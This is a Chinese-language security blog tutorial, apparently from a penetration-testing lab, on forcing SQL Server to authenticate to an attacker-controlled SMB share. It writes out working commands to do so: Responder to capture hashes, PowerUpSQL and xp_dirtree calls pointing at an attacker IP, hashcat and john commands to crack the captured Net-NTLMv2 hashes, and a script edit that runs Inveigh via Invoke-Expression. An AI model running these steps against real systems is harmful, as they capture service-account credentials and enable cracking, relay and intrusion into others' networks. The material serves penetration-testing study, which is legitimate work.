前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL Server数据库UNC路径注入攻击

SQL Server数据库UNC路径注入攻击

作者头像
Ms08067安全实验室
发布2024-05-31 20:13:00
1120
发布2024-05-31 20:13:00
举报

UNC路径注入

如果我们能强制SQL服务器连接到我们控制的SMB共享,连接将会包含认证数据。更具体的来说,将会发起一个NTLM认证,我们将能捕获到运行SQL服务的账户的密码hash。然后我们可以尝试破解这个hash,或者进行hash转发攻击。

要强制SQL服务器发起一个SMB连接请求,我们可以使用xp_dirtree SQL存储过程实现。该存储过程会列出指定路径下的所有文件,不仅是本地文件,也接受SMB共享作为目标。

如果我们低权限用户(比如上面的dev\dave)访问数据库并执行xp_dirtree存储过程,运行SQL服务的服务账户将会尝试列出指定SMB共享的内容。SMB共享通常使用Universal Naming Convention(UNC)路径提供,格式如下:

代码语言:javascript
复制
\\hostname\folder\file

如果hostname为IP地址,Windows将自动使用NTLM认证而不是Kerberos。在实际测试场景,如果xp_dirtree被移除,还有其他的一些存储过程也可以用来发起一个SMB共享访问请求,具体可参考:https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet

下面我们介绍具体的攻击过程。首先在kali上运行responder,-I指定使用的网卡,如果不想跳过先前捕获的hash,可以加上-v参数:

代码语言:javascript
复制
sudo responder -I eth0 -v

然后在域内主机,以普通域用户dev\dave,使用PowerUpSQL.ps1执行UNC路径注入,-CaptureIp为kali的IP:

代码语言:javascript
复制
Invoke-SQLUncPathInjection -Verbose  -CaptureIp 192.168.3.104    

使用PowerUpSQL.ps1执行UNC路径注入

如果成功,我们将能在kali上捕获到运行SQL服务的账户的密码hash:

responder捕获hash

Responder获得的hash是Net-NTLM或者NTLMv2 hash。当使用NTLM协议认证时,会基于NTLM hash创建挑战(challenge)和响应(response),产生的结果hash称为Net-NTLM。

我们可以使用hashcat进行破解。hashcat主要是利用GPU的能力,因为在虚拟机里面,我们使用--force参数。此外如果虚拟机的内存太小,也会报错:* Device #1: Not enough allocatable device memory for this attack.,此时可以尝试增加下虚拟机的内存,4G时可成功执行。将hash内容保存到hash.txt:

代码语言:javascript
复制
hashcat -m 5600 hash.txt Tools/pwd.txt --force

hashcat破解NTLMv2 hash

此外,也可以使用john进行爆破:

代码语言:javascript
复制
john --format=netntlmv2 hash.txt --wordlist=Tools/pwd.txt

john破解NTLMv2 hash

需要注意的是PowerUpSQL每次运行都会从github加载Inveigh,如果目标环境不出网,可能运行失败。我们可以修改脚本,从文件进行加载:

代码语言:javascript
复制
# Attempt to load Inveigh from file
$InveighSrc = Get-Content .\Inveigh.ps1 -ErrorAction SilentlyContinue
Invoke-Expression($InveighSrc)

此外,Invoke-SQLUncPathInjection命令会自动枚举域内的SQL server实例,然后对每个可访问的实例都会执行UNC路径注入。如果我们只想对单个SQL server实例进行UNC路径注入,可以使用另一个工具ESC,下载地址为https://github.com/NetSPI/ESC。这个工具第一次执行EXEC命令可能会失败,可以多执行一次。

首先使用discover发现域内存在的SQL server实例,然后使用set命令指定我们想要执行UNC路径注入的SQL实例,最后执行xp_dirtree存储过程:

代码语言:javascript
复制
discover domainspn 
set instance dev-dc01.dev.ms08067.cn      
EXEC master..xp_dirtree '\\192.168.3.104\test'
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-05-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档